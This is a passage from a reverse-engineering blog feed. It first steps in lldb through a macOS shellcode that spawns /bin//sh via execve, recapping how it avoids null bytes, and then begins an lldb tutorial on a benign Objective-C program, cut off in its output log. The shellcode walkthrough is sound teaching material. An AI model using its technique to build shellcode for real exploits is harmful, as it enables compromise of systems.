<span class="hljs-attr">0x7ff7bfeff858:</span> <span class="hljs-number">10</span> <span class="hljs-number">40</span> <span class="hljs-number">07</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">80</span> <span class="hljs-string">f8</span> <span class="hljs-string">ef</span> <span class="hljs-string">bf</span> <span class="hljs-string">f7</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.@..............</span>
<span class="hljs-attr">0x7ff7bfeff868:</span> <span class="hljs-number">83</span> <span class="hljs-number">28</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">25</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.(......%.......</span>
<span class="hljs-attr">0x7ff7bfeff878:</span> <span class="hljs-string">2f</span> <span class="hljs-number">62</span> <span class="hljs-number">69</span> <span class="hljs-string">6e</span> <span class="hljs-string">2f</span> <span class="hljs-string">2f</span> <span class="hljs-number">73</span> <span class="hljs-number">68</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">/bin//sh........</span>
<span class="hljs-attr">0x7ff7bfeff888:</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff898:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8a8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8b8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">42</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">83</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">...B............</span>
</code></pre><p>and so is <code>rsp</code>:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">rsp</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff878</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">71654</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003fb5 shellspawn`main + 23</span>
<span class="hljs-string">shellspawn`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003fb5</span> <span class="hljs-string">&lt;+23&gt;:</span> <span class="hljs-string">pop</span>    <span class="hljs-string">rdi</span>
    <span class="hljs-number">0x100003fb6</span> <span class="hljs-string">&lt;+24&gt;:</span> <span class="hljs-string">syscall</span> 
    <span class="hljs-attr">0x100003fb8:</span>       <span class="hljs-string">add</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rax</span>]<span class="hljs-string">,</span> <span class="hljs-string">eax</span>
    <span class="hljs-attr">0x100003fba:</span>       <span class="hljs-string">add</span>    <span class="hljs-string">byte</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rax</span>]<span class="hljs-string">,</span> <span class="hljs-string">al</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(shellspawn)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-number">-64</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-string">+64</span>
<span class="hljs-attr">0x7ff7bfeff848:</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">9e</span> <span class="hljs-string">3f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.........?......</span>
<span class="hljs-attr">0x7ff7bfeff858:</span> <span class="hljs-number">10</span> <span class="hljs-number">40</span> <span class="hljs-number">07</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">80</span> <span class="hljs-string">f8</span> <span class="hljs-string">ef</span> <span class="hljs-string">bf</span> <span class="hljs-string">f7</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.@..............</span>
<span class="hljs-attr">0x7ff7bfeff868:</span> <span class="hljs-number">83</span> <span class="hljs-number">28</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">78</span> <span class="hljs-string">f8</span> <span class="hljs-string">ef</span> <span class="hljs-string">bf</span> <span class="hljs-string">f7</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.(......x.......</span>
<span class="hljs-attr">0x7ff7bfeff878:</span> <span class="hljs-string">2f</span> <span class="hljs-number">62</span> <span class="hljs-number">69</span> <span class="hljs-string">6e</span> <span class="hljs-string">2f</span> <span class="hljs-string">2f</span> <span class="hljs-number">73</span> <span class="hljs-number">68</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">/bin//sh........</span>
<span class="hljs-attr">0x7ff7bfeff888:</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff898:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8a8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8b8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">42</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">83</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">...B............</span>
</code></pre><p>Finally the value of <code>rdi</code> is instantiated with the top of the stack (which contains the value of <code>rsp</code>, <code>0x00007ff7bfeff878</code>):</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">rdi</span> <span class="hljs-string">rsp</span>
     <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000001</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff870</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">71654</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003fb6 shellspawn`main + 24</span>
<span class="hljs-string">shellspawn`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003fb6</span> <span class="hljs-string">&lt;+24&gt;:</span> <span class="hljs-string">syscall</span> 
    <span class="hljs-attr">0x100003fb8:</span>       <span class="hljs-string">add</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rax</span>]<span class="hljs-string">,</span> <span class="hljs-string">eax</span>
    <span class="hljs-attr">0x100003fba:</span>       <span class="hljs-string">add</span>    <span class="hljs-string">byte</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rax</span>]<span class="hljs-string">,</span> <span class="hljs-string">al</span>
    <span class="hljs-attr">0x100003fbc:</span>       <span class="hljs-string">sbb</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0x0</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(shellspawn)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">rdi</span> <span class="hljs-string">rsp</span>
     <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff878</span>
     <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff878</span>
</code></pre><p>Finally, the syscall is invoked and a new shell is spawned.</p>
<h2 id="heading-strategy">Strategy</h2>
<p>A quick recap of how the shellcode works.</p>
<h4 id="heading-1-find-the-syscall-number-and-specification">1 - find the syscall number and specification</h4>
<p>First of all, syscalls. A quick way to find syscalls is:</p>
<pre><code>gbiondo@tripleX sys <span class="hljs-operator">%</span> pwd
<span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Developer<span class="hljs-operator">/</span>CommandLineTools<span class="hljs-operator">/</span>SDKs<span class="hljs-operator">/</span>MacOSX12<span class="hljs-number">.3</span>.sdk/System<span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Frameworks<span class="hljs-operator">/</span>Kernel.framework/Versions<span class="hljs-operator">/</span>A<span class="hljs-operator">/</span>Headers<span class="hljs-operator">/</span>sys
gbiondo@tripleX sys <span class="hljs-operator">%</span> cat syscall.h
</code></pre><p>As we have seen before, once we have the number of the syscall, the number shall be converted in hexadecimal, and added to <code>0x02000000</code>. The resulting value shall be stored in the EAX/RAX register.</p>
<p>The next stage would be understanding the parameters accepted by the syscall itself. For instance, we see that syscall 4 is <code>SYS_write</code>, or, seen differently (syscalls.master file): </p>
<pre><code><span class="hljs-number">4</span>    AUE_NULL    ALL    { <span class="hljs-function"><span class="hljs-keyword">user_ssize_t</span> <span class="hljs-title">write</span><span class="hljs-params">(<span class="hljs-keyword">int</span> fd, <span class="hljs-keyword">user_addr_t</span> cbuf, <span class="hljs-keyword">user_size_t</span> nbyte)</span></span>; }
</code></pre><p>We conjecture that this syscall has 3 parameters: a file descriptor, the address of the buffer, and the size of the string to print. Confirmation comes from <code>man 2 &lt;syscall name&gt;</code>. In this case, a <code>man 2 write</code> would return:</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">ssize_t</span> <span class="hljs-title">write</span><span class="hljs-params">(<span class="hljs-keyword">int</span> fildes, <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span> *buf, <span class="hljs-keyword">size_t</span> nbyte)</span></span>;
</code></pre><p>and the subsequent description of the parameters.</p>
<p>For shellcode, the most important syscall to know is <code>execve</code>, so let's stick to it. Its description is above. In this example, we simply invoke <code>/bin/sh</code>, so there is no need to use other parameters. In the next article we'll take care of how to run commands with parameters.</p>
<p>Some of you may have seen that the author of the blog post where we found the code used the string <code>/bin//sh</code> with two slashes between the directory and the executable. We'll come back on this later, but the reason why this string is used is to avoid null bytes.</p>
<h4 id="heading-2-zeroing-rsi">2 - Zeroing RSI</h4>
<p>This is accomplished by XORring the values of the registers with itself. The reason the task hasn't been accomplished with:</p>
<p><code>mov rsi, 0</code></p>
<p>is to avoid null bytes. This topic comes quite frequently, and there's a good reason. For the very moment, we religiously accept the dogma "null bytes are the root of all evil" :).</p>
<h4 id="heading-3-zeroing-rax-and-rdx">3 - Zeroing RAX and RDX</h4>
<p>This is nothing but good practice. Good housekeeping practices :)</p>
<h4 id="heading-4-setting-up-rax">4 - Setting up RAX</h4>
<p>RAX shall contain the number of the syscall.
Consider that the value <code>0x02000000</code> can be stored in 32 bits, so the author uses EAX instead. 
Creating that constant means setting the 25th bit of a zeroed register to 1. 
59 can be stored in 16 bits, so the author uses AL to store the value - simply moving the number to the register.</p>
<p><em>Actually the actions taken in points 3- and 4- show an inherent, intrinsic elegance...</em></p>
<h4 id="heading-5-the-first-parameter-to-execve">5 - The first parameter to execve</h4>
<p>The first parameter to execve is stored in the register RDI. It must be a null-terminated string containing the path of the executable. This string is built in the stack, and then <code>pop</code>ped to RDI. This is accomplished by storing the string in a temporary register (<code>rbx</code>), storing a null-terminator in the stack, and finally storing the string in the stack - remember that the stack is LIFO! - finally, the resulting string is <code>pop</code>ped down to the register.</p>
<h4 id="heading-6-the-second-parameter-to-execve">6 - The second parameter to execve</h4>
<p>The second parameter to execve is stored in RSI. It contains the list of parameters passed to the function. In our case, the list is empty, and considering that the register has been initialised to 0 in point 1 -, no further change is required.</p>
<h4 id="heading-7-the-third-and-last-parameter-to-execve">7 - The third and last parameter to execve</h4>
<p>The last parameter to the syscall is stored in RDX. In point 3 - its value has been set to  0. This is coherent, in fact, the third parameter is supposed to contain a null-terminated array in which environment variables are passed. In this case, it's an empty list.</p>
<h2 id="heading-conclusions">Conclusions</h2>
<p>This post focused on analysing the "malware" - or better, the shellcode, assuming we know no assembly. Every step has been explained like we had no assembly talent whatsoever - which is good, because this is how we learn to reverse-engineer something.</p>
<p>We will see some more examples, and then obtain a more generic strategy to use when designing shellcode.</p>
<p>See you next time. Have fun!</p>
]]></content:encoded></item><item><title><![CDATA[Debugging with lldb - part 1]]></title><description><![CDATA[Abstract
In the previous article (MachO Binary Analysis with objdump), we have followed step-by-step the compilation of an Objective C program. We have seen all the steps that lead from the code to the Assembly. Now it's time to see what happens at t...]]></description><link>https://blog.reveng3.org/debugging-with-lldb-part-1</link><guid isPermaLink="true">https://blog.reveng3.org/debugging-with-lldb-part-1</guid><category><![CDATA[coding]]></category><category><![CDATA[hacking]]></category><category><![CDATA[compiler]]></category><category><![CDATA[operating system]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Wed, 30 Mar 2022 14:58:31 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-abstract">Abstract</h2>
<p><em>In the previous article (<a target="_blank" href="https://blog.reveng3.org/macho-binary-analysis-with-objdump">MachO Binary Analysis with objdump</a>), we have followed step-by-step the compilation of an Objective C program. We have seen all the steps that lead from the code to the Assembly. Now it's time to see what happens at the assembly level.</em></p>
<p><em>We will use LLDB, the XCode debugger. It's gonna be a challenge for me as well, for I am more versed in GDB.</em></p>
<h1 id="heading-debugging-with-lldb">Debugging with LLDB</h1>
<p>Previously we used a 'dry' version of the 'myNumber' program - I just added some printouts in the code to simplify the comprehension of the assembly code. </p>
<p>We will work with the following program:</p>
<pre><code><span class="hljs-comment">//</span>
<span class="hljs-comment">//  main.m</span>
<span class="hljs-comment">//  DebugMe</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//  Created by Gabriel Biondo on 24/03/2022.</span>
<span class="hljs-comment">//</span>

<span class="hljs-meta">#import <span class="hljs-meta-string">&lt;Foundation/Foundation.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;time.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> STRING_FORMAT       @<span class="hljs-meta-string">"%@"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> START_MSG           @<span class="hljs-meta-string">"INITIALISING RANDOMNESS"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> GENERATE            @<span class="hljs-meta-string">"GENERATING RANDOM NUMBER"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MAXIMUM             123</span>


<span class="hljs-class"><span class="hljs-keyword">@interface</span> <span class="hljs-title">myNumber</span>: <span class="hljs-title">NSObject</span></span>

<span class="hljs-keyword">@property</span> <span class="hljs-keyword">int</span> value;

- (Boolean) isPerfectSquare;
- (<span class="hljs-keyword">int</span>) nearestPerfectSquare;
- (Boolean) isPrime;
- (<span class="hljs-keyword">void</span>) randomInit;

<span class="hljs-keyword">@end</span>

<span class="hljs-class"><span class="hljs-keyword">@implementation</span> <span class="hljs-title">myNumber</span></span>

- (<span class="hljs-keyword">void</span>) randomInit {
    <span class="hljs-built_in">NSLog</span>(STRING_FORMAT, START_MSG);
    srand(time(<span class="hljs-number">0</span>));
    <span class="hljs-built_in">NSLog</span>(STRING_FORMAT, GENERATE);
    <span class="hljs-keyword">int</span> num = rand() % MAXIMUM;
    <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"Generated number: %i"</span>, num);
    <span class="hljs-keyword">self</span>.value = num;
}

- (Boolean) isPerfectSquare{
    <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"Checking perfect square"</span>);
    <span class="hljs-keyword">double</span> num = (<span class="hljs-keyword">double</span>)<span class="hljs-keyword">self</span>.value;
    <span class="hljs-keyword">double</span> sqr = sqrt(num);
    <span class="hljs-keyword">int</span> squareRoot = (<span class="hljs-keyword">int</span>) sqr;
    <span class="hljs-keyword">return</span> (squareRoot*squareRoot == <span class="hljs-keyword">self</span>.value);
}

- (<span class="hljs-keyword">int</span>) nearestPerfectSquare {
    <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"Looking for perfect squares"</span>);
    <span class="hljs-keyword">int</span> nearest = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">if</span> ([<span class="hljs-keyword">self</span> isPerfectSquare]) {
        nearest = <span class="hljs-keyword">self</span>.value;
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">double</span> num = (<span class="hljs-keyword">double</span>)<span class="hljs-keyword">self</span>.value;
        <span class="hljs-keyword">double</span> sqr = sqrt(num);
        <span class="hljs-keyword">int</span> low = (<span class="hljs-keyword">int</span>) sqr;
        <span class="hljs-keyword">int</span> hi = low + <span class="hljs-number">1</span>;
        <span class="hljs-keyword">int</span> lowq = low * low;
        <span class="hljs-keyword">int</span> hiq = hi * hi;
        <span class="hljs-keyword">int</span> deltaLow = <span class="hljs-keyword">self</span>.value - lowq;
        <span class="hljs-keyword">int</span> deltaHi = hiq - <span class="hljs-keyword">self</span>.value;
        <span class="hljs-keyword">if</span> (deltaLow &lt; deltaHi) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square is the lowest one"</span>);
            nearest = lowq;
        }
        <span class="hljs-keyword">if</span> (deltaHi &lt; deltaLow) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square is the highest one"</span>);
            nearest = hiq;
        }

        <span class="hljs-keyword">if</span> (deltaHi == deltaLow){
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The given number is exactly in the middle of two perfect squares: %i and %i. Returning the lowest"</span>, lowq,hiq);
            nearest = lowq;
        }
    }
    <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"Returning the value"</span>);
    <span class="hljs-keyword">return</span> nearest;
}

- (Boolean) isPrime{
    <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"Checking primality"</span>);
    Boolean result = <span class="hljs-literal">TRUE</span>;
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">self</span>.value &gt; <span class="hljs-number">2</span>){
        <span class="hljs-keyword">double</span> num = (<span class="hljs-keyword">double</span>)<span class="hljs-keyword">self</span>.value;
        <span class="hljs-keyword">double</span> sqr = sqrt(num);
        <span class="hljs-keyword">int</span> threshold = <span class="hljs-number">1</span> + (<span class="hljs-keyword">int</span>) sqr;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i=<span class="hljs-number">2</span>; i&lt;=threshold; i++){
            <span class="hljs-keyword">if</span> ((<span class="hljs-keyword">self</span>.value % i) == <span class="hljs-number">0</span>) {
                result = <span class="hljs-literal">FALSE</span>;
            }
        }
    } <span class="hljs-keyword">else</span> {
        result = <span class="hljs-literal">FALSE</span>;
    }
    <span class="hljs-keyword">return</span> result;
}

<span class="hljs-keyword">@end</span>

<span class="hljs-keyword">int</span> main(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * argv[]) {
    <span class="hljs-keyword">@autoreleasepool</span> {
        <span class="hljs-comment">// insert code here...</span>
        myNumber * m = [myNumber new];
        myNumber * n = [myNumber new];
        myNumber * o = [[myNumber alloc] init];
        myNumber * p = [[myNumber alloc] init];
        myNumber * q = [[myNumber alloc] init];
        n.value = <span class="hljs-number">144</span>;
        m.value = <span class="hljs-number">155</span>;
        o.value = <span class="hljs-number">20</span>;
        p.value = <span class="hljs-number">73</span>;

        <span class="hljs-keyword">if</span> ([n isPerfectSquare]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is a perfect square"</span>, n.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not a perfect square"</span>, n.value);
        }

        <span class="hljs-keyword">if</span> ([m isPerfectSquare]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is a perfect square"</span>, m.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not a perfect square"</span>, m.value);
        }

        <span class="hljs-keyword">int</span> k = [m nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, m.value, k);
        <span class="hljs-keyword">int</span> h = [n nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, n.value, h);
        <span class="hljs-keyword">int</span> j = [o nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, o.value, j);
        <span class="hljs-keyword">int</span> i = [p nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, p.value, i);

        <span class="hljs-keyword">if</span> ([p isPrime]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is prime"</span>, p.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not prime"</span>, p.value);
        }

        <span class="hljs-keyword">if</span> ([m isPrime]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is prime"</span>, m.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not prime"</span>, m.value);
        }

        [q randomInit];
    }
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p>Typical output of this program is as follows:</p>
<pre><code><span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] <span class="hljs-number">144</span> is a perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] <span class="hljs-number">155</span> is not a perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Looking for perfect squares
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] The nearest square is the lowest one
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Returning the value
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] The nearest square to <span class="hljs-number">155</span> is <span class="hljs-number">144</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Looking for perfect squares
